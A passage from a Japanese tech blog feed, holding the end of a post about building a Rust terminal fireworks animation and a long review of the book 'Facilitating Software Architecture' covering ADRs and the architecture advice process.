Vec, // 打ち上げ時の火花}struct Sparkle { x: f64, // 火花のx座標 y: f64, // 火花のy座標 lifetime: i32, // 火花の寿命}Firework構造体は花火1発分の情報を管理します。打ち上げ時にはexplodedがfalseで、上昇中の花火を表示。爆発後はexplodedがtrueとなり、particlesに格納された粒子が広がっていきます。sparklesは打ち上げ中の火花を表現するために使用されます。Particleの詳細struct Particle { x: f64, // x座標 y: f64, // y座標 vx: f64, // x方向の速度 vy: f64, // y方向の速度 lifetime: i32, // パーティクルの寿命 char: char, // 表示する文字 color: Color, // パーティクルの色 trail: Vec<(f64, f64)>, // 軌跡の座標履歴}Particleは爆発後の火花を表現します。物理演算で放物線を描くように、速度と重力の影響を受けます。trailは軌跡を表示するために過去の座標を記録しています。色の実装#[derive(Clone, Copy)]enum Color { Red, Green, Blue, Yellow, Magenta, Cyan, Rainbow, // 時間とともに色が変化 Silver, // 明滅する白 Gold, // 明滅する黄色 Pearl, // 白と水色で明滅}Colorは単色だけでなく、Rainbowのような動的な色変化や、Silver/Gold/Pearlのような明滅効果も実装しています。get_colored_charメソッドで、時間(フレーム数)に応じた色を返します。アニメーションの仕組み花火の更新処理impl Firework { fn update(&mut self) { if !self.exploded { self.y -= self.velocity; // 上昇 // 確率で火花を追加 if rand::thread_rng().gen_bool(0.3) { self.sparkles.push(Sparkle {...}); } // 一定の高さで爆発 if self.y <= rand::thread_rng().gen_range(5.0..15.0) { self.explode(); } } else { // パーティクルの更新と寿命切れの除去 for particle in &mut self.particles { particle.update(); } self.particles.retain(|p| p.lifetime > 0); } }}花火は打ち上げ時と爆発後で異なる動きをします。打ち上げ中は上昇しながら火花を散らし、一定の高さで爆発。爆発後は多数のパーティクルが放物線を描きながら広がります。描画処理の工夫fn draw_frame(fireworks: &Vec, frame_count: u32) { // 背景に星を表示(10フレームごとに配置を変える) if frame_count % 10 == 0 { for _ in 0..50 { let x = rand::thread_rng().gen_range(0..100); let y = rand::thread_rng().gen_range(0..30); frame[y][x] = (\'\xb7\', Some(Color::Silver)); } } // 各花火の描画 for firework in fireworks { // 打ち上げ火花の描画 for sparkle in &firework.sparkles { let x = sparkle.x as usize; let y = sparkle.y as usize; frame[y][x] = (\'。\', Some(Color::Pearl)); } if !firework.exploded { // 上昇中の花火 frame[y][x] = (\'⁂\', Some(firework.color)); } else { // 爆発後のパーティクル for particle in &firework.particles { // 軌跡の描画 for (i, (trail_x, trail_y)) in particle.trail.iter().enumerate() { let char = match i { 0 => \'.\', 1 => \'\xb7\', _ => \'\xb0\', }; frame[y][x] = (char, Some(particle.color)); } } } }}描画処理では、まず背景に点滅する星を配置し、その上に花火を重ねていきます。パーティクルの軌跡は徐々に薄くなるように文字を変えています。これにより、より自然な花火の表現を実現しています。アニメーションとメッセージ表示最後に、main関数でアニメーションとメッセージ表示を行います。fn main() { let year = Local::now().year(); // 現在の年を取得 let mut fireworks = Vec::new(); let mut frame_count = 0; loop { // 花火を追加 if frame_count % 15 == 0 && fireworks.len() < 8 { fireworks.push(Firework::new(rand::thread_rng().gen_range(10.0..90.0))); } // 花火を更新して描画 for firework in &mut fireworks { firework.update(); } draw_frame(&fireworks, frame_count); fireworks.retain(|f| !f.is_done()); thread::sleep(Duration::from_millis(40)); frame_count += 1; // 一定時間後にメッセージを表示 if frame_count > 300 { clear_screen(); display_new_year_message(year); break; } }}ループ内で、一定の間隔で新しい花火を追加し、既存の花火を更新して描画しています。300フレーム後には、display_new_year_message関数を呼び出して新年のメッセージを表示します。この関数では、ASCIIアートを使ってメッセージを作成し、coloredクレートで色をつけています。まとめ結局、プログラムは年越しに間に合わなかった。シェアハウスの他の住人たちは、それぞれの実家や友人たちの元へと消えていき、廊下は一層静かになっていた。コンパイラの指摘する数々のエラーと向き合ううち、除夜の鐘が鳴り響き、新年は音もなく明けてしまった。しかし不思議なことに、深夜2時、ようやく完成したプログラムが描き出す花火の光に、私は密かな充実感を覚えていた。誰にも見せることはないだろうこの花火は、確かに私だけの新年を祝福していたのだから。来年は少し早めに取り掛かろう。もっとも、来年も誰かと過ごすことになるとは限らないが。これは私の経験則である。知らんけど。完全なコードは以下の通りです。github.com","isoDate":"2025-01-04T03:08:12.000Z","dateMiliSeconds":1735960092000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"アーキテクチャ設計の民主化とADR(Architectural Decision Records)による意思決定の未来 - Facilitating Software Architecture の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/31/232546","contentSnippet":"年末年始の慌ただしい時期に、数ある選択肢の中からこちらの記事をお読みいただき、誠にありがとうございます。人生を定期的に振り返ることには、本書で取り上げられているADR(Architecture Decision Records)に通じる素晴らしさがあります。過去の決定とその背景を記録し、将来の自分や他者が参照できる形で残すことは、個人の成長にとって貴重な資産となります。そんな観点から今年を振り返ってみると、2024年は私自身にとって大きな試練と変化の年でした。印象的だったのは、ある時期に突然、技術に対する興味や情熱が完全に失われてしまったことです。それは技術分野に限らず、仕事全般や私生活にも波及し、何をするにも意欲が湧かない、深い無気力状態に陥ってしまいました。しかし、この困難な時期を経て、いくつかの意味のある変化が生まれました。私は以前から技術書の書評を書いていましたが、これは主に自分の理解を深め、将来の自分のための記録として残すことが目的でした。より自分の感想や学びを素直に記録することに注力するようになりました。その結果長文になることも多々ある。この文章も同様に長くなってしまった。外部登壇やブログもいくつか書きました。また、Xでは書籍を紹介するアカウントの運営方法を始めました。めちゃくちゃにバカにされたり批判もされたが明確な敵ができて嬉しい。これは思いがけずフォロワーの方々との貴重な出会いを生み、さらには翻訳書の出版という新たな機会にもつながりました。あとは回復の過程で気づいたのは、基本的な生活習慣を見直すことの大切さでした。規則正しい運動習慣の確立、十分な睡眠時間の確保、そして栄養バランスを意識した食事管理を意識的に行うことで、徐々に日常を取り戻すことができました。また、仕事漬けの状態から一時的に距離を置き、純粋な娯楽を楽しむ時間を作ることも大きな助けとなりました。好きな映画やお笑い番組を観て心を癒したり、仕事や技術とは直接関係のない物語や小説に没頭する時間を意識的に作りました。一見すると遠回りに思えるこれらの活動が、むしろ心の回復を促し、結果として日常への活力を取り戻すきっかけとなったのです。このような経験を通じて、技術や仕事への向き合い方を大きく変えることができました。時には立ち止まり、心身の健康に意識を向けることの大切さを、身をもって学ぶ機会となったのです。そして、この振り返りを書き記すことは、まさにADRのように、将来の自分への重要な指針となることを願っています。あと、以下からtemplateを利用して作成することもできます。adr.github.ioはじめにここからは書評です。年の瀬や新しい年のスタートは、振り返りや目標設定の時期として特別な意味を持つことが多いと思います。そのような忙しい時期に手に取った一冊が、「Facilitating Software Architecture」でした。この本は、現代のソフトウェア開発における複雑な課題に向き合い、分散型アプローチを基盤にした実践的な知見を提供しています。読み進めるうちに、この時期に改めて考えたい「意思決定」「信頼」「チーム文化」といったテーマが深く掘り下げられており、多くの示唆を得ることができました。Facilitating Software Architecture: Empowering Teams to Make Architectural Decisions (English Edition)作者:Harmel-Law, AndrewO\'Reilly MediaAmazon本書は、分散型アーキテクチャの実践を通じて、現代のソフトウェア開発における複雑な課題に立ち向かうための方法を探求しています。従来の中央集権的なアーキテクチャ手法の限界を明確にし、変化の激しい開発環境に適応するための分散型アプローチを提案します。ソフトウェア開発は技術的な進化だけでなく、チームや組織文化といった社会的要素とも密接に関連しています。成功する開発チームは、技術的な卓越性を追求するだけでなく、分散化された信頼に基づく意思決定や柔軟なプロセスを取り入れる必要があります。本書では、理論的な原則だけでなく、実践的なアプローチや具体的な事例を交えながら、分散型アーキテクチャを支える方法を体系的に示しています。重要なのは、トップダウンの権限に頼らない意思決定の実現です。組織が成長し複雑化する中で、中央集権的なアプローチはその限界を迎えつつあります。そこで必要となるのが、信頼関係に基づいた民主的な意思決定プロセスです。本書は、このような信頼ベースの分散型アーキテクチャを実現するための具体的な方法論を提供しています。learning.oreilly.comアーキテクチャの民主化が必要な理由の一つは、中央集権的なアプローチに内在する持続可能性の問題です。いかに優秀なアーキテクトであっても、人は組織を去り、知識は失われ、文脈は変化します。アーキテクチャの決定権を特定の個人や小グループに集中させることは、長期的には組織の脆弱性につながります。分散型アプローチは、この本質的な課題に対する解決策を提供します。知識と決定権を組織全体で共有することで、個人への依存を減らし、より持続可能な開発文化を築くことができるのです。「中央集権型アプローチの限界」「アドバイスプロセスの導入」「アーキテクチャ意思決定記録(ADR:Architectural Decision Records)」の活用といったテーマを中心に、現代のソフトウェア開発組織が直面する課題とその解決策を深く掘り下げています。この知識は、開発者、アーキテクト、リーダーなど、さまざまな役割の方々がそれぞれの立場でより良い意思決定を行うための指針となるでしょう。ADR(Architecture Decision Records)との出会いは『Fundamentals of Software Architecture』の第19章を通じてでした。後に振り返ると、Design IT!でも触れられていたかもしれませんが、その時点では深く印象に残っていませんでした。learning.oreilly.com初めてADRの概念に触れた時、その単純さと効果的さに強く惹かれました。アーキテクチャ上の重要な決定を、その背景や検討過程も含めて記録するという考え方は、私が長年感じていた「なぜその決定に至ったのか」という疑問への明確な解答でした。ADRの実践において重要なのは、その適用範囲と文脈の深さを適切に見極めることです。あくまでシステムの方向性を決定づける重要な技術選択や、将来に大きな影響を与える可能性のある決定に焦点を当てるべきです。例えば、マイクロサービスアーキテクチャの採用、主要なデータベースの選定、重要なインターフェースの設計などが該当します。ただし、これらの決定についても、組織の規模や文化、個々のプロジェクトや各メンバーの気質などの特性に応じて適切な記録の粒度と範囲を見極める必要があります。一方で、日々の実装上の判断や、影響範囲が限定的な決定については、よりライトウェイトな文書化手法を選択すべきでしょう。コードのコメント、プルリクエストの説明、あるいはチームのWikiなどが適しています。ADRの価値は、その決定が組織やプロジェクトに与える影響の大きさに比例するからです。その後、実践的な知見を得るために様々な導入事例を調査しました。以下のブログ記事からは具体的な実装方法や運用上の工夫について多くの学びを得ることができました。user-first.ikyu.co.jplaiso.hatenablog.comblog.studysapuri.jp speakerdeck.comこれらの事例研究を通じて、ADRは単なるドキュメンテーションツールではなく、チーム全体の意思決定プロセスを改善し、知識共有を促進する強力な手段であることを理解しました。その後、自身の関わるプロジェクトでもADRを段階的に導入し、マイクロサービスアーキテクチャにおける設計判断の記録と共有に活用してきました。現在では、チーム内の技術的なコミュニケーションにおいて不可欠なツールとなっています。syu-m-5151.hatenablog.comChapter 1. Centralized Architecture Practices in a Decentralized World第1章「Centralized Architecture Practices in a Decentralized World」では、伝統的なソフトウェアアーキテクチャ実践の詳細な分析と、現代の分散化された開発環境における限界について論じています。著者は、5つの重要な革命的変化を軸に、中央集権的なアーキテクチャ実践の課題を説得力ある形で示しています。この章は、アーキテクチャ実践の根本的な変革の必要性を理解する上で重要な示唆を提供します。伝統的なアーキテクチャ実践の限界著者はまず、伝統的なアーキテクチャ実践を「アイボリータワー型」と「ハンズオン型」という2つの代表的なアプローチに分類します。アイボリータワー型アプローチでは、アーキテクトが組織の上層部に位置し、全体を俯瞰的に見渡しながら統制を重視します。このモデルでは、アーキテクトは開発チームから距離を置き、主に文書やレビューを通じて指示を与えます。Figure 1-1. The ivory tower approach to practicing architecture より引用一方、ハンズオン型アプローチでは、アーキテクトが個々の開発チームに密着し、実装レベルでの直接的な支援を行います。このモデルでは、アーキテクトはチーム間を移動しながら、より実践的な指導と支援を提供します。Figure 1-2. The hands-on, cross-team approach to practicing architecture より引用これら2つのアプローチは、一見異なる実践方法を採用していますが、「アーキテクトへの決定権の集中」という本質的な共通点を持ちます。この中央集権的な特徴は、現代の開発環境において深刻な課題を引き起こします。この課題は顕著です。以前参画した大規模マイクロサービス開発プロジェクトでは、アイボリータワー型アーキテクトの理想的な設計と現場の実際のニーズとの間に大きなギャップが生じました。アーキテクトが提案する完璧な設計は、実際の開発現場での制約や要件と整合性が取れず、結果として開発の遅延と品質の低下を招きました。この経験から、現代のソフトウェア開発においては、より柔軟で適応的なアプローチが必要だと強く感じています。ソフトウェア開発を変えた5つの革命著者は、現代のソフトウェア開発を根本的に変革した5つの重要な革命として、アジャイル開発、クラウドコンピューティング、DevOps、プロダクト思考、ストリーム指向チームを提示します。これらの革命により、ソフトウェア開発はより分散的でフィードバック重視の方向へと導かれました。しかし個人的には、これらに加えて大規模言語モデル(LLM)の台頭が、ソフトウェア開発を根本的に変革する新たな革命になると考えています。LLMによる変革は、単なる開発効率の向上にとどまらず、アーキテクチャの設計プロセスやチーム間のコミュニケーション、意思決定の方法そのものを変える可能性を秘めています。例えば、設計の選択肢の探索や過去の決定の分析、ドキュメンテーションの自動生成といった作業が劇的に効率化され、開発者はより本質的な判断や創造的な活動に注力できるようになるでしょう。私は、これら全ての変革の影響を実務で強く実感しています。DevOpsの導入は、開発と運用の壁を取り払い、より迅速なフィードバックサイクルを実現しました。また、プロダクト思考の浸透により、技術的な卓越性だけでなく、実際のビジネス価値の提供に焦点が当たるようになりました。そしてLLMの活用は、これらの革新をさらに加速させ、ソフトウェア開発の未来を大きく変えていくことでしょう。分散化とフィードバックの重要性著者は、現代のソフトウェアアーキテクチャには「分散化」と「フィードバック」という2つの要素が不可欠だと主張します。以前のプロジェクトでは、分散化されたチーム構造を採用することで、各チームの自律性が向上し、より迅速な意思決定が可能になりました。というか人が多すぎるとフィードバックが大変になる。また、継続的なフィードバックの重要性も実感しています。実際の運用から得られる知見を設計に反映する仕組みを確立することで、より実効性の高いアーキテクチャを実現できました。本番環境での問題や予期せぬユースケースから学び、それを設計に反映するサイクルが重要でした。みんなのフィードバック大全作者:三村 真宗光文社Amazonカオスと不確実性への対応著者は、ソフトウェアシステムにおけるカオスと不確実性を、避けるべき問題としてではなく、むしろ自然な特性として受け入れることを提唱します。私も、この視点は極めて重要だと感じています。完璧な設計を追求するのではなく、変化への適応能力を重視する現実的なアプローチが、現代のソフトウェア開発には不可欠です。エンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング作者:広木 大地技術評論社Amazon注目すべきは「弱い創発」の概念です。私が担当したマイクロサービスプロジェクトでは、予期せぬサービス間の相互作用が発生することがありました。しかし、これを問題視するのではなく、システムの進化の機会として捉え直すことで、より柔軟で強靭なアーキテクチャを実現できました。フィードバックループと伝統的アプローチの課題著者は、伝統的なアーキテクチャ実践の最大の問題点として、効果的なフィードバックループの欠如を指摘します。この指摘は、感覚と完全に一致します。たとえばハンズオン型アプローチでさえ、システム全体からの包括的なフィードバックを適切に取り入れることができていません。著者が挙げる追跡番号管理システムの事例は、この課題を明確に示しています。スケーリング機能と再試行メカニズムの相互作用が予期せぬ動作を引き起こすという事例は、私も似たような事例を経験したことがあります。個々のコンポーネントは適切に設計されていても、それらの組み合わせが予想外の結果をもたらすことは、分散システムではよく起こる現象です。チームの分散化とアーキテクチャの整合性著者は、チームの組織構造とアーキテクチャの構造における整合性の重要性を強調します。これはコンウェイの法則の現代的な解釈として理解できます。この整合性は極めて重要です。マイクロサービスアーキテクチャを採用しながら、中央集権的な意思決定プロセスを維持しようとした組織では、深刻な課題が発生します。マイクロサービスの境界設定や技術選定に関する決定が中央のアーキテクチャチームに集中していたため、各開発チームの自律性が損なわれ、結果として開発のボトルネックが発生しました。アーキテクチャの分散化には、それに対応する組織構造の変革が不可欠だと学びました。結論本章は、現代のソフトウェア開発における伝統的なアーキテクチャ実践の限界を明確に示し、新しいアプローチの必要性を説得力ある形で提示しています。著者が示す予測不可能性の受容、創発的な性質の活用、フィードバックの重視という3つの要件は、実践的な指針として極めて有用です。これらの要件は技術的な側面だけでなく、組織的・文化的な変革も必要とすることが分かっています。重要なのは、チームの自律性を高めながら、組織全体としての一貫性を保つバランスです。分散化とフィードバックを重視する新しいアプローチは、このバランスを実現する上で重要な実践基盤となります。今後、ソフトウェア開発の複雑性はさらに増していくことが予想されます。その中で、本章で示された知見は、より適応力の高い組織とアーキテクチャを実現するための重要な指針となるでしょう。Part I. First PrinciplesPart I. First Principlesは、アーキテクチャ実践の基本原則を示す重要なパートです。伝統的なソフトウェアアーキテクチャの実践が直面する課題と、その解決策として分散型の意思決定アプローチを提案しています。このパートでは、アーキテクチャ実践の核となる「決定」に焦点を当て、その重要性と評価基準を明確にします。さらに大規模な意思決定の従来のアプローチを検証し、それらが現代のソフトウェア開発における分散型の意思決定と迅速なフィードバックという要件を満たせない理由を分析します。この課題に対する解決策として「アーキテクチャ・アドバイスプロセス」を提案します。このプロセスは分散型の意思決定と迅速なフィードバックを両立させる新しいアプローチです。著者はこのプロセスの導入方法や予想される課題、そしてアーキテクチャ決定記録(ADRs)による信頼構築と組織学習の方法を具体的に説明します。このパートは、現代のソフトウェア開発における効果的なアーキテクチャ実践の基礎となる原則と実践方法を包括的に提供しています。アドバイスプロセスとそれを支える要素の理解は、次のパートで扱う実践的なトピックの土台となります。learning.oreilly.comChapter 2. To Practice Architecture Is to Decide第2章「To Practice Architecture Is to Decide」はソフトウェアアーキテクチャの実践における意思決定の本質と重要性を扱います。アーキテクチャ的に重要な意思決定の定義と判断基準について深く掘り下げています。著者はアーキテクチャ意思決定を構造・非機能特性・依存関係・インターフェース・構築技術の5つの観点から整理し実践的な指針を提供します。Software Architecture and Decision-Making: Leveraging Leadership, Technology, and Product Management to Build Great Products がとても良いがlearning.oreilly.comこの本は島田さんによって翻訳されている。とてもありがたい。ソフトウェアアーキテクトのための意思決定術 リーダーシップ/技術/プロダクトマネジメントの活用作者:Srinath PereraインプレスAmazonアーキテクチャ決定の本質著者はすべてのアーキテクチャ決定が技術的決定である一方で技術的決定の全てがアーキテクチャ決定ではないという重要な区別から議論を始めます。この区別は実務上非常に重要です。私もプロジェクトの初期段階でこの区別が曖昧だったために些末な技術的決定に時間を費やしてしまうケースを何度も目にしてきました。Figure 2-1. All architectural decisions are technical decisions, but not all technical decisions are architectural ones より引用アーキテクチャ決定の基準として著者はMichael Nygardの5つの基準を採用します。構造への影響・非機能特性への影響・依存関係への影響・インターフェースへの影響・構築技術への影響です。この基準は実践的で分かりやすく私も日々の意思決定の判断に活用しています。cognitect.comアーキテクチャ的に重要な決定の特定著者は更に一歩踏み込んでアーキテクチャ的に重要な決定の基準を提示します。重要なのは運用環境へのデプロイとの関係です。どんなに優れた設計も実際に動作するまでは単なる仮説に過ぎません。デプロイを阻害する決定は常に重要です。以前関わったプロジェクトでは理想的なアーキテクチャを追求するあまりデプロイが困難になり結果として価値の提供が遅れるという失敗を経験しました。意思決定者の多様性著者はアーキテクチャ決定は必ずしもアーキテクトだけのものではないという重要な指摘を行います。開発者やQAエンジニアも重要なアーキテクチャ決定を行う可能性があります。この視点は伝統的なアーキテクチャ実践からの大きな転換を示唆します。私の現在のプロジェクトでもチームメンバー全員がアーキテクチャ決定に関与する文化を築いています。その結果より良い決定が行われるだけでなくチームの当事者意識も高まっています。意思決定プロセスの重要性著者は意思決定のプロセスよりも結果の重要性を強調します。長時間の検討や意図的な決定であることは必ずしも良い決定を保証しません。むしろ迅速な決定と実践からのフィードバックの方が重要な場合が多いのです。この指摘は私の実務経験とも一致します。完璧な決定を目指して時間をかけるよりも早期に実践し改善を重ねる方が良い結果につながることを何度も経験してきました。結論本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。アーキテクチャ決定の判断基準とデプロイとの関係の2点は重要です。これらの基準を用いることで意思決定の質と速度の両方を改善できます。一方で組織の規模や文化によってはこれらの原則の適用が難しい場合もあります。その場合は段階的な導入や既存のプロセスとの調和を図る必要があるでしょう。結論として本章はアーキテクチャ実践における意思決定の本質を明確に示し実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 3. Decisions at Scale第3章「Decisions at Scale」は組織規模でのアーキテクチャ意思決定プロセスを詳細に分析します。著者は意思決定の本質的な構造を明らかにし標準的な意思決定アプローチの特徴と限界を示しています。現代の分散化されたソフトウェア開発環境における意思決定プロセスの要件について深い洞察を提供します。パーフェクトな意思決定――「決める瞬間」の思考法作者:安藤広大ダイヤモンド社Amazon意思決定プロセスの基本構造著者は意思決定プロセスをオプションの生成と決定の実行と決定の共有という3つの要素に分解します。この単純な分析枠組みは実務上極めて有用です。私も以前関わったマイクロサービスプロジェクトで同様の枠組みを用いて意思決定プロセスを整理しました。重要なのは決定の共有です。いかに優れた決定でも共有が適切に行われなければ無意味です。チーム間のコミュニケーション不足により優れた設計判断が台無しになるケースを何度も目にしてきました。Figure 3-1. A naive view of a generic decision process (“deciding”) in context (the required need for the decision and the subsequent implementation of the result) より引用標準的な意思決定プロセスとその限界著者は意思決定プロセスを中央集権型と分散型に大別します。中央集権型には独裁的・委任型・諮問型があり分散型には合意型・民主型・コンセンサス型があります。多くの組織が中央集権型と分散型のハイブリッドなアプローチを採用します。例えば技術選定は諮問型で行いながら実装の詳細はチームに委ねるといった具合です。意思決定プロセスの文化的基盤意思決定プロセスを考える際に重要なのは、その文化的基盤への理解です。渡邊雅子の『論理的思考とは何か』では、論理的思考が領域ごとに異なる形を取ることを指摘しています。この知見は、アーキテクチャ意思決定プロセスを設計する上で重要な示唆を与えます。経済領域では効率性を重視した思考が、政治領域では合意形成を重視した思考が特徴的です。また、法技術領域では規範性を重視した思考が、社会領域では共感を重視した思考が中心となります。例えば、マイクロサービスアーキテクチャの採用を検討する際、効率性(コストとパフォーマンス)、合意形成(各部門の利害調整)、規範性(セキュリティ要件)、共感(チームの受容性)という異なる観点からの評価が必要になります。アーキテクチャの意思決定プロセスを設計する際は、これらの文化的な思考パターンを状況に応じて適切に組み合わせることが重要です。特に日本の組織においては、共感による推理と配慮的な表現を重視する社会領域のアプローチを適切に取り入れることで、より効果的な意思決定が可能になります。論理的思考とは何か (岩波新書)作者:渡邉 雅子岩波書店Amazon意思決定プロセスの要件著者は意思決定プロセスの4つの要件を示します。適切な人々の関与・決定権の最適化・信頼の重視・共有の最小化です。これらの要件は私の実務経験とも合致します。以前のプロジェクトで決定権を完全に分散化したことで意思決定が遅くなり逆に集中化し過ぎて柔軟性を失うという両極端な失敗を経験しました。実践的な示唆本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。意思決定プロセスの選択基準と共有方法の工夫は重要です。私の現在のプロジェクトでは決定のスコープに応じて異なるプロセスを使い分けています。マイクロサービス間のインターフェース設計は合意型で行う一方サービス内部の実装は各チームに委ねるといった具合です。結論著者はスピードと分散化を両立する新しい意思決定プロセスの可能性を示唆して締めくくっています。この視点は極めて重要です。私も組織の規模や文化に応じて柔軟にプロセスを適応させることが重要だと考えています。一つの正解はなく文脈に応じた適切な選択が必要です。結論として本章は意思決定プロセスの本質を明らかにし実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 4. The Architecture Advice Process第4章「The Architecture Advice Process」はアーキテクチャ意思決定のアプローチを提案します。アドバイスプロセスと呼ばれるこのアプローチは高速な意思決定と権限の分散化を両立します。著者は具体的な事例を通じてこのプロセスの実践方法と効果を示しています。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazonアドバイスプロセスの本質著者は意思決定プロセスの根本的な変革としてアドバイスプロセスを提案します。このプロセスの核心は誰もが意思決定を開始できるという点です。意思決定の集中化は開発の大きなボトルネックとなってきました。アドバイスプロセスでは決定者は2つのグループから助言を求める必要があります。影響を受ける関係者とその領域の専門家です。これは単なる形式的な手続きではなく社会的な契約として機能します。実践例による理解著者は2つの具体例を通じてアドバイスプロセスを説明します。1つ目は開発チームがリリーストグルを導入する事例です。チームは関係者や専門家から助言を得ることで当初の設計を大きく改善しました。私も似たような経験をしています。以前のプロジェクトでフィーチャートグルの導入を決めた際に様々な関係者の意見を聞くことで運用面の課題を事前に把握できました。アドバイスの本質著者はアドバイスは方向性と理由の組み合わせだと説明します。単なる意見との違いは理由の有無です。この視点は極めて重要です。理由を伴わない意見は意思決定の改善につながりません。理由のない意見は混乱を招くだけでした。「このフレームワークを使うべき」という意見より「このフレームワークならこういう理由でこの課題が解決できる」というアドバイスの方が遥かに有用でした。信頼の重要性アドバイスプロセスの成功は信頼関係にかかっています。著者は信頼を築くためには対話が重要だと指摘します。これは私の実務経験とも合致します。信頼はどの職種にも重要である。信頼がない職場では仕事ができないのは万国で共通なのである。対話を通じて相互理解を深めることで初めて有意義なアドバイスが可能になります。一方的な意見の押し付けは避けるべきです。syu-m-5151.hatenablog.com結論アドバイスプロセスは組織文化も変革します。従来型のアーキテクチャ実践では意思決定権限が集中することで様々な歪みが生じていました。アドバイスプロセスはこの問題を解決します。私の組織でもアドバイスプロセスの導入後はチーム間のコミュニケーションが活発になり意思決定のスピードも向上しました。結論として本章はアジャイルな開発環境に適した新しいアーキテクチャ実践を提案しています。アドバイスプロセスは意思決定の民主化と効率化を両立する優れたアプローチです。これからのソフトウェア開発組織にとって重要な示唆を含んでいます。Chapter 5. Rolling Out the Architecture Advice Process第5章「Rolling Out the Architecture Advice Process」はアドバイスプロセスの具体的な導入方法について解説します。著者は現在の組織的立場に応じた3つの導入アプローチを示し導入時の課題と対処法を詳細に説明しています。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか (日本経済新聞出版)作者:宇田川元一日経BPAmazon導入アプローチの選択著者は導入アプローチを現在の意思決定権限に基づいて分類します。アーキテクトとして意思決定権を持つ場合は自身の実践から始めます。開発チームとして権限がない場合は実験的な試行から始めます。この分類は的確です。以前関わったプロジェクトでは権限を持つアーキテクトから導入を始めることで組織全体への浸透がスムーズでした。段階的な導入の重要性著者は小規模な実験からスタートすることを強く推奨します。これは組織の文化や既存のプロセスに大きな変更を加えるためです。実験を通じて課題を早期に発見し対処することが重要です。この指摘は極めて実践的です。私も大規模な変更を一度に行って混乱を招いた経験があります。段階的なアプローチは確実な導入につながります。初期の課題への対応著者は導入初期に直面する主な課題として4つを挙げます。プロセスの誤解、適切な助言者の選定漏れ、Why?の問いかけ不足、責任の所在の不明確さです。これらの課題は私も度々遭遇します。チームが自律的に判断を行う文化への移行には慎重なケアが必要です。信頼の構築著者は信頼関係の構築がプロセスの成功に不可欠だと指摘します。自身と他者の判断能力への信頼、アドバイスの授受への信頼、全体状況の把握への信頼が重要です。私の組織でも信頼関係の醸成に注力しています。定期的な振り返りと成功体験の共有が効果的でした。結論本章の内容は極めて実践的な示唆に富んでいます。導入時のチェックリストは有用です。組織の専門家マップを整備することでアドバイスプロセスがより効果的になります。私の現在のプロジェクトでもこのアプローチを採用しています。各領域の専門家を明確化することで適切なアドバイスを得やすくなりました。結論として本章はアドバイスプロセスの実践的な導入方法を提供しています。組織の現状に応じた段階的な導入と信頼関係の構築に焦点を当てた著者の提案は極めて妥当です。次章で説明される「アーキテクチャ決定記録」と組み合わせることで更に効果的な実践が可能になるでしょう。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するための実践的なアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。百年の孤独 (新潮文庫 カ 24-2)作者:ガブリエル・ガルシア=マルケス新潮社AmazonADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsとDesign docsの違いここでADRsとよく比較されるDesign docsとの主な違いを整理しておくことは有用でしょう。両者は一見似ているように見えますが、その目的と特性は大きく異なります。tkybpp.hatenablog.comADRsは個々の重要な技術的決定に焦点を当て、その決定に至った背景と理由を時系列で記録します。例えば「なぜKafkaではなくRabbitMQを選択したのか」「どうしてMongoDBを採用したのか」といった具体的な決定事項とその文脈を残します。一度記録された決定は変更せず、新しい決定を追加することで履歴を形成していきます。一方、Design docsはシステム全体やコンポーネントの設計を包括的に説明することを目的とします。技術的な設計の詳細、アーキテクチャの全体像、実装方針などを広く扱い、システムの各部分の関係性を示します。Design docsは必要に応じて更新され、常に現在の設計状態を反映するように維持されます。この違いは実務上重要な意味を持ちます。あるマイクロサービス開発プロジェクトでは、Design docsでシステム全体のアーキテクチャや各サービスの役割、データフローを説明する一方で、ADRsでは個別の技術選定の決定と理由を記録していました。両者は補完関係にあり、大規模なプロジェクトでは両方を併用することで、設計の全体像と重要な決定の経緯の両方を効果的に残すことができます。このように、ADRsはDesign docsと異なり、意思決定のプロセスと理由を明確に記録することに特化しています。この特徴は、後述する「意思決定の全プロセスをサポート」という役割と密接に結びついています。他にも技術ドキュメントはあるのですが全体を探るにはこちらがオススメです。技術文書の書き方 \xb7 GitHubADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です